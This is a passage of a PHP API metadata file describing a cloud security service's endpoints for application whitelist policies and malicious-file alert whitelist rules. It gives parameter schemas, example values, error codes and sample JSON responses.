'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\",\\n \\"TotalCount\\": 100,\\n \\"Count\\": 1,\\n \\"Strategies\\": [\\n {\\n \\"SuspiciousProcCount\\": 1,\\n \\"Status\\": 1,\\n \\"TrustProcCount\\": 2,\\n \\"StrategyName\\": \\"win \\",\\n \\"StrategyId\\": 11906,\\n \\"Progress\\": 80,\\n \\"VirusProcCount\\": 2,\\n \\"AssetCount\\": 9,\\n \\"StudyTime\\": 9\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWhiteListStrategyStatistics', 'description' => 'The application whitelist feature is in public preview. You cannot apply for a trial of the feature. If you applied for a trial of the feature or the feature is in use, you can call this operation.'."\n", ], 'DescribeWhiteListStrategyList' => [ 'summary' => 'Queries a list of application whitelist policies.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '116.88.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'StrategyIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '1,2', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', ], 'Strategies' => [ 'description' => 'The information about the policies.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the policy.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the policy. Valid values:'."\n" ."\n" .'* **0**: disabled'."\n" .'* **1**: learning'."\n" .'* **2**: paused'."\n" .'* **3**: learning completed'."\n" .'* **4**: enabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'StrategyId' => [ 'description' => 'The ID of the policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '8795555', ], 'StrategyName' => [ 'description' => 'The name of the policy.'."\n", 'type' => 'string', 'example' => 'test', ], 'StudyTime' => [ 'description' => 'The intelligent learning duration. Unit: hour.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\",\\n \\"Strategies\\": [\\n {\\n \\"Status\\": 1,\\n \\"StrategyId\\": 8795555,\\n \\"StrategyName\\": \\"test\\",\\n \\"StudyTime\\": 5\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWhiteListStrategyList', 'description' => 'The application whitelist feature is in public preview. You cannot apply for a trial of the feature. If you applied for a trial of the feature or the feature is in use, you can call this operation.'."\n", ], 'DescribeWhiteListProcess' => [ 'summary' => 'Queries the information about the processes that are detected in an application whitelist policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '27.223.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy.'."\n" ."\n" .'> You can call the [DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '8562', ], ], [ 'name' => 'ProcessName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'JAVA', ], ], [ 'name' => 'ProcessType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the process. Valid values:'."\n" ."\n" .'* **1**: trusted'."\n" .'* **2**: suspicious'."\n" .'* **3**: malicious'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'OrderBy', 'in' => 'query', 'schema' => [ 'description' => 'The item based on which you want to sort the returned results. Default value: **process type**. Valid values:'."\n" ."\n" .'* **1**: process type'."\n" .'* **2**: degree of trustability'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Desc', 'in' => 'query', 'schema' => [ 'description' => 'The sort order. Default value: descending order. Valid values:'."\n" ."\n" .'* **1**: ascending order'."\n" .'* **2**: descending order'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Maximum value: 1000. Default value: 20. If you leave this parameter empty, 20 data entries are returned per page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D81DD78E-E006-5C65-A171-C8CB09XXXXX', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '44', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Processes' => [ 'description' => 'The information about the processes.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the process.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'Indicates whether the process is trusted. Valid values:'."\n" ."\n" .'* **1**: no'."\n" .'* **2**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ProcessName' => [ 'description' => 'The name of the process.'."\n", 'type' => 'string', 'example' => 'vim', ], 'ProcessId' => [ 'description' => 'The ID of the process.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '53090', ], 'FilePath' => [ 'description' => 'The path to the process startup file.'."\n", 'type' => 'string', 'example' => '/root/bash1', ], 'Md5' => [ 'description' => 'The MD5 hash value of the process startup file.'."\n", 'type' => 'string', 'example' => 'a28e8eba54ece1f3748d80e57dc89400', ], 'Id' => [ 'description' => 'The primary key of the process information.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2100019', ], 'Level' => [ 'description' => 'The trust score of the process.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '99', ], 'ProcessType' => [ 'description' => 'The type of the process. Valid values:'."\n" ."\n" .'* **1**: trusted'."\n" .'* **2**: suspicious'."\n" .'* **3**: malicious'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 200,\\n \\"RequestId\\": \\"D81DD78E-E006-5C65-A171-C8CB09XXXXX\\",\\n \\"TotalCount\\": 44,\\n \\"Count\\": 1,\\n \\"Processes\\": [\\n {\\n \\"Status\\": 1,\\n \\"ProcessName\\": \\"vim\\",\\n \\"ProcessId\\": 53090,\\n \\"FilePath\\": \\"/root/bash1\\",\\n \\"Md5\\": \\"a28e8eba54ece1f3748d80e57dc89400\\",\\n \\"Id\\": 2100019,\\n \\"Level\\": 99,\\n \\"ProcessType\\": 1\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWhiteListProcess', 'description' => 'The application whitelist feature is in public preview. You cannot apply for a trial of the feature. If you applied for a trial of the feature or the feature is in use, you can call this operation.'."\n", ], 'DescribeWhiteListEffectiveAssets' => [ 'summary' => 'Queries the servers on which an application whitelist policy takes effect.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '27.212.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The condition that is used to query assets. You can enter an IP address, a public IP address, an private IP address, or an asset name for fuzzy match.'."\n", 'type' => 'string', 'required' => false, 'example' => '222.185.XX.XX', ], ], [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy.'."\n" ."\n" .'> You can call the [DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '8437592', ], ], [ 'name' => 'NeedStatistics', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to return the number of **untrusted programs**. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Maximum value: **1000**. Default value: 20. If you leave this parameter empty, 20 data entries are returned per page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB39****', ], 'TotalCount' => [ 'description' => 'The total number of the servers on which the policy takes effect.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'Assets' => [ 'description' => 'The servers on which the policy takes effect.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The server on which the policy takes effect.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '544900ff-1be7-4655-9719-6311cecb3****', ], 'StrategyId' => [ 'description' => 'The ID of the policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '35815387', ], 'StrategyName' => [ 'description' => 'The name of the policy.'."\n", 'type' => 'string', 'example' => 'test', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '60.205.XX.XX', ], 'SuspiciousEventCount' => [ 'description' => 'The number of **untrusted programs** on the server.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'ProcessMethod' => [ 'description' => 'The exception handling mode. Valid values:'."\n" ."\n" .'* **0**: unhandled'."\n" .'* **1**: alerted'."\n" .'* **2**: blocked'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'MachineName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'test', ], 'IntranetIp' => [ 'description' => 'The private IP address.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB39****\\",\\n \\"TotalCount\\": 100,\\n \\"Count\\": 10,\\n \\"Assets\\": [\\n {\\n \\"Uuid\\": \\"544900ff-1be7-4655-9719-6311cecb3****\\",\\n \\"StrategyId\\": 35815387,\\n \\"StrategyName\\": \\"test\\",\\n \\"InternetIp\\": \\"60.205.XX.XX\\",\\n \\"SuspiciousEventCount\\": 5,\\n \\"ProcessMethod\\": 1,\\n \\"MachineName\\": \\"test\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWhiteListEffectiveAssets', 'description' => 'The application whitelist feature is in public preview. You cannot apply for a trial of the feature. If you applied for a trial of the feature or the feature is in-use, you can call this operation.'."\n", ], 'DescribeWhiteListAuthorize' => [ 'summary' => 'Queries the available quota for the application whitelist feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '180.119.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'AvailableAuthorizeNum' => [ 'description' => 'The available quota.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"AvailableAuthorizeNum\\": 3,\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', 'title' => 'DescribeWhiteListAuthorize', 'description' => 'The application whitelist feature is in public preview. You cannot apply for a trial of the feature. If you applied for a trial of the feature or the feature is in use, you can call this operation.'."\n", ], 'DescribeWhiteListAsset' => [ 'summary' => 'Queries the information about servers that can be added or are added to application whitelist policies.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. You do not need to specify this parameter. It is automatically obtained by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '180.119.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'LastMaxId', 'in' => 'query', 'schema' => [ 'description' => 'The maximum asset ID of the most recent query.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1001', ], ], [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy.'."\n" ."\n" .'> You can call the [DescribeWhiteListStrategyList](~~DescribeWhiteListStrategyList~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '2730', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The policy type of the asset that you want to query. Valid values:'."\n" ."\n" .'* **1**: learning policy'."\n" .'* **2**: application policy'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Maximum value: **500**. Default value: **500**. This value indicates that 500 entries are displayed on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', ], 'Assets' => [ 'description' => 'The information about the servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the server.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '5c081b02-f66a-47a4-bd2f-79ee3eaf806a', ], 'GroupId' => [ 'description' => 'The group ID of the server.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '11028551', ], 'MachineIp' => [ 'description' => 'The IP address of the server.'."\n", 'type' => 'string', 'example' => '121.41.XX.XX', ], 'AllowSelected' => [ 'description' => 'Indicates whether the server can be selected. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Selected' => [ 'description' => 'Indicates whether the server is selected. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Id' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1001', ], 'MachineName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'test', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\",\\n \\"Assets\\": [\\n {\\n \\"Uuid\\": \\"5c081b02-f66a-47a4-bd2f-79ee3eaf806a\\",\\n \\"GroupId\\": 11028551,\\n \\"MachineIp\\": \\"121.41.XX.XX\\",\\n \\"AllowSelected\\": 1,\\n \\"Selected\\": 0,\\n \\"Id\\": 1001,\\n \\"MachineName\\": \\"test\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWhiteListAsset', 'description' => 'The application whitelist feature is in public preview. You cannot apply for a trial of the feature. If you applied for a trial of the feature or the feature is in use, you can call this operation.'."\n", ], 'DeleteMaliciousFileWhitelistConfig' => [ 'summary' => 'Deletes a whitelist rule for alerts generated for sensitive files that are detected by using the agentless detection feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '184428', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], ], 'parameters' => [ [ 'name' => 'ConfigId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert whitelist rule of sensitive files that are detected by using the agentless detection feature. You can call the [ListMaliciousFileWhitelistConfigs](~~ListMaliciousFileWhitelistConfigs~~) operation to query the IDs of alert whitelist rules.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'docRequired' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'DeleteMaliciousFileWhitelistConfig', ], 'BatchDeleteMaliciousFileWhitelistConfig' => [ 'summary' => 'Deletes whitelist rules for alerts generated for sensitive files that are detected by using the agentless detection feature in batches.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '184623', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], ], 'parameters' => [ [ 'name' => 'ConfigIdList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '文件加白规则 id 列表', 'description' => 'The IDs of the whitelist rules. You can call the [ListMaliciousFileWhitelistConfigs](~~ListMaliciousFileWhitelistConfigs~~) operation to query the IDs of whitelist rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the whitelist rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code. The status code 200 indicates that the request was successful.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'BatchDeleteMaliciousFileWhitelistConfig', ], 'UpdateMaliciousFileWhitelistConfig' => [ 'summary' => 'Modifies an alert whitelist rule of sensitive files that are detected by using the agentless detection feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], ], 'parameters' => [ [ 'name' => 'ConfigId', 'in' => 'query', 'schema' => [ 'title' => '规则id，可选，不传则新增', 'description' => 'The ID of the whitelist rule. If you do not specify this parameter, a whitelist rule is created.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], ], [ 'name' => 'EventName', 'in' => 'query', 'schema' => [ 'title' => '告警名称， ALL-全部告警', 'description' => 'The name of the alert.'."\n" ."\n" .'* Set the value to ALL, which indicates all alert types.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ALL', ], ], [ 'name' => 'Field', 'in' => 'query', 'schema' => [ 'title' => '字段', 'description' => 'The field that you want to use in the whitelist rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'fileMd5', ], ], [ 'name' => 'Operator', 'in' => 'query', 'schema' => [ 'title' => '操作符', 'description' => 'The logical operator that you want to use in the whitelist rule.'."\n" ."\n" .'* Set the value to strEqual, which indicates the equality operator (=).'."\n", 'type' => 'string', 'required' => false, 'example' => 'strEqual', ], ], [ 'name' => 'FieldValue', 'in' => 'query', 'schema' => [ 'title' => '值', 'description' => 'The value of the field that you want to use in the whitelist rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'b2cf9747ee49d8d9b105cf16e078cc16', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'title' => '生效目标类型，ALL-全部资产，SELECTION_KEY 选中的资产', 'description' => 'The type of the assets on which you want the whitelist rule to take effect. Valid values:'."\n" ."\n" .'* ALL: all assets'."\n" .'* SELECTION_KEY: selected assets'."\n", 'type' => 'string', 'required' => false, 'example' => 'ALL', ], ], [ 'name' => 'TargetValue', 'in' => 'query', 'schema' => [ 'title' => '生效目标值', 'description' => 'The assets on which you want the whitelist rule to take effect. Valid values:'."\n" ."\n" .'* ALL: all assets'."\n" .'* Others: selected assets'."\n", 'type' => 'string', 'required' => false, 'example' => 'ALL', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'title' => '文件来源', 'description' => 'The feature to which this operation belongs.'."\n" ."\n" .'* Set the value to agentless, which indicates the agentless detection feature.'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'title' => '备注', 'description' => 'Remark.', 'type' => 'string', 'required' => false, 'example' => 'test', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 